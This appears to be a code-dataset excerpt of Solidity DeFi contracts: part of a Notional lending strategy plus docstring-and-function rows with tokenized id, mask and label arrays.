* settle and withdraw them realizing the profits in the strategy\'s \'want\' balance
*/
function _checkPositionsAndWithdraw() internal {
// We check if there is anything to settle in the account\'s portfolio by checking the account\'s
// nextSettleTime in the account context
AccountContext memory _accountContext = nProxy.getAccountContext(address(this));
// If there is something to settle, do it and withdraw to the strategy\'s balance
if (uint256(_accountContext.nextSettleTime) < block.timestamp) {
nProxy.settleAccount(address(this));
(int256 cashBalance,
int256 nTokenBalance,
uint256 lastClaimTime) = nProxy.getAccountBalance(currencyID, address(this));
if(cashBalance > 0) {
nProxy.withdraw(currencyID, uint88(cashBalance), true);
if (currencyID == 1) {
// Only necessary for wETH/ ETH pair
weth.deposit{value: address(this).balance}();
}
maturity = 0;
}
}
}
/*
* @notice
* Loop through the strategy\'s positions and convert the fcash to current valuation in \'want\', including the
* fees incurred by leaving the position early. Represents the NPV of the position today.
* @return uint256 _totalWantValue, the total amount of \'want\' tokens of the strategy\'s positions
*/
function _getTotalValueFromPortfolio() internal view returns(uint256 _totalWantValue) {
PortfolioAsset[] memory _accountPortfolio = nProxy.getAccountPortfolio(address(this));
MarketParameters[] memory _activeMarkets = nProxy.getActiveMarkets(currencyID);
// Iterate over all active markets and sum value of each position
for(uint256 i = 0; i < _accountPortfolio.length; i++) {
for(uint256 j = 0; j < _activeMarkets.length; j++){
if(_accountPortfolio[i].maturity < block.timestamp) {
// Convert the fcash amount of the position to underlying assuming a 1:1 conversion rate
// (taking into account decimals difference)
_totalWantValue += uint256(_accountPortfolio[i].notional).mul(DECIMALS_DIFFERENCE).div(MAX_BPS);
break;
}
if(_accountPortfolio[i].maturity == _activeMarkets[j].maturity) {
(, int256 underlyingPosition) = nProxy.getCashAmountGivenfCashAmount(
currencyID,
int88(-_accountPortfolio[i].notional),
j+1,
block.timestamp
);
_totalWantValue += uint256(underlyingPosition).mul(DECIMALS_DIFFERENCE).div(MAX_BPS);
break;
}
}
}
}
// CALCS
/*
* @notice
* Internal function getting the current \'want\' balance of the strategy
* @return uint256 result, strategy\'s \'want\' balance
*/
function balanceOfWant() internal view returns (uint256) {
return want.balanceOf(address(this));
}
/*
* @notice
* Get the market index of a current position to calculate the real cash valuation
* @param _maturity, Maturity of the position to value
* @param _activeMarkets, All current active markets for the currencyID
* @return uint256 result, market index of the position to value
*/
function _getMarketIndexForMaturity(
uint256 _maturity
) internal view returns(uint256) {
MarketParameters[] memory _activeMarkets = nProxy.getActiveMarkets(currencyID);
bool success = false;
for(uint256 j=0; j<_activeMarkets.length; j++){
if(_maturity == _activeMarkets[j].maturity) {
return j+1;
}
}
if (success == false) {
return 0;
}
}
/*
* @notice
* Internal function calculating the market index with the shortest maturity that was at
* least minAmountToMaturity seconds still
* @return uint256 result, the minimum market index the strategy should be entering positions into
* @return uint256 maturity, the minimum market index\'s maturity the strategy should be entering positions into
*/
function _getMinimumMarketIndex() internal view returns(uint256, uint256) {
MarketParameters[] memory _activeMarkets = nProxy.getActiveMarkets(currencyID);
for(uint256 i = 0; i<_activeMarkets.length; i++) {
if (_activeMarkets[i].maturity - block.timestamp >= minTimeToMaturity) {
return (i+1, uint256(_activeMarkets[i].maturity));
}
}
}
// NOTIONAL FUNCTIONS
/*
* @notice
* Internal function executing a \'batchBalanceAndTradeAction\' within Notional to either Lend or Borrow
* @param actionType, Identification of the action to perform, following the Notional classification
* in enum \'DepositActionType\'
* @param withdrawAmountInternalPrecision, withdraw an amount of asset cash specified in Notional
* internal 8 decimal precision
* @param withdrawEntireCashBalance, whether to withdraw entire cash balance. Useful if there may be
* an unknown amount of asset cash residual left from trading
* @param redeemToUnderlying, whether to redeem asset cash to the underlying token on withdraw
* @param trades, array of bytes32 trades to perform
*/
function executeBalanceActionWithTrades(
DepositActionType actionType,
uint256 depositActionAmount,
uint256 withdrawAmountInternalPrecision,
bool withdrawEntireCashBalance,
bool redeemToUnderlying,
bytes32[] memory trades) internal {
BalanceActionWithTrades[] memory actions = new BalanceActionWithTrades[](1);
// gas savings
uint16 _currencyID = currencyID;
actions[0] = BalanceActionWithTrades(
actionType,
_currencyID,
depositActionAmount,
withdrawAmountInternalPrecision,
withdrawEntireCashBalance,
redeemToUnderlying,
trades
);
if (_currencyID == 1) {
nProxy.batchBalanceAndTradeAction{value: depositActionAmount}(address(this), actions);
weth.deposit{value: address(this).balance}();
} else {
nProxy.batchBalanceAndTradeAction(address(this), actions);
}
}
/*
* @notice
* Internal function Closing a current non-mature position to re-invest the amount into a new
* higher maturity market
* @param _currentMaturity, current maturity the strategy is invested in
* @return uint256, liberated amount, now existing in want balance to add up to the availableWantBalance
* to trade into in adjustPosition()
*/
function _rollOverTrade(uint256 _currentMaturity) internal returns(uint256) {
uint256 prevBalance = balanceOfWant();
PortfolioAsset[] memory _accountPortfolio = nProxy.getAccountPortfolio(address(this));
uint256 _currentIndex = _getMarketIndexForMaturity(_currentMaturity);
bytes32[] memory rollTrade = new bytes32[](1);
rollTrade[0] = getTradeFrom(1, _currentIndex, uint256(_accountPortfolio[0].notional));
executeBalanceActionWithTrades(
DepositActionType.None,
0,
0,
true,
true,
rollTrade
);
return (balanceOfWant() - prevBalance);
}
} | @notice Callback function needed to receive ERC1155 (fcash), not needed for the first startegy contract but relevant for all the next ones @param _sender, address of the msg.sender @param _from, address of the contract sending the erc1155 @_id, encoded id of the asset (fcash or liquidity token) @_amount, amount of assets tor receive _data, bytes calldata to perform extra actions after receiving the erc1155 @return bytes4, constant accepting the erc1155/ | function onERC1155Received(address _sender, address _from, uint256 _id, uint256 _amount, bytes calldata _data) public returns(bytes4){
return ERC1155_ACCEPTED;
}
| 13,397,703 | [
1,
2428,
445,
3577,
358,
6798,
4232,
39,
2499,
2539,
261,
7142,
961,
3631,
486,
3577,
364,
326,
1122,
787,
1332,
93,
6835,
1496,
9368,
364,
777,
326,
1024,
5945,
225,
389,
15330,
16,
1758,
434,
326,
1234,
18,
15330,
225,
389,
2080,
16,
1758,
434,
326,
6835,
5431,
326,
6445,
71,
2499,
2539,
24294,
350,
16,
3749,
612,
434,
326,
3310,
261,
7142,
961,
578,
4501,
372,
24237,
1147,
13,
24294,
8949,
16,
3844,
434,
7176,
8934,
6798,
389,
892,
16,
1731,
745,
892,
358,
3073,
2870,
4209,
1839,
15847,
326,
6445,
71,
2499,
2539,
327,
1731,
24,
16,
5381,
25806,
326,
6445,
71,
2499,
2539,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
603,
654,
39,
2499,
2539,
8872,
12,
2867,
389,
15330,
16,
1758,
389,
2080,
16,
2254,
5034,
389,
350,
16,
2254,
5034,
389,
8949,
16,
1731,
745,
892,
389,
892,
13,
1071,
1135,
12,
3890,
24,
15329,
203,
3639,
327,
4232,
39,
2499,
2539,
67,
31110,
27222,
31,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0xE10baE1903e48B4F544d319759e7f71Df9cf9A59/sources/contracts/Pool.sol | * @dev Internal function to get the total votes in the pool at a specific block. @param blocknumber The block number. @return The total votes at the given block./ | function _getBlockTotalVotes(
uint256 blocknumber
) internal view override returns (uint256) {
return
IToken(tokens[IToken.TokenType.Governance]).getPastTotalSupply(
blocknumber
);
}
| 17,152,447 | [
1,
3061,
445,
358,
336,
326,
2078,
19588,
316,
326,
2845,
622,
279,
2923,
1203,
18,
225,
1203,
2696,
1021,
1203,
1300,
18,
327,
1021,
2078,
19588,
622,
326,
864,
1203,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
588,
1768,
5269,
29637,
12,
203,
3639,
2254,
5034,
1203,
2696,
203,
565,
262,
2713,
1476,
3849,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
203,
5411,
467,
1345,
12,
7860,
63,
1285,
969,
18,
28675,
18,
43,
1643,
82,
1359,
65,
2934,
588,
52,
689,
5269,
3088,
1283,
12,
203,
7734,
1203,
2696,
203,
5411,
11272,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/137/0x9f835399E07628477B6fe894084716D48fd606a6/sources/contracts/ClimateWorm.sol | after generation set pause true (Nicht vergessen!!!)
| bool public paused = true; | 3,745,172 | [
1,
5205,
9377,
444,
11722,
638,
261,
50,
335,
647,
1924,
75,
403,
275,
8548,
24949,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
1426,
1071,
17781,
273,
638,
31,
565,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.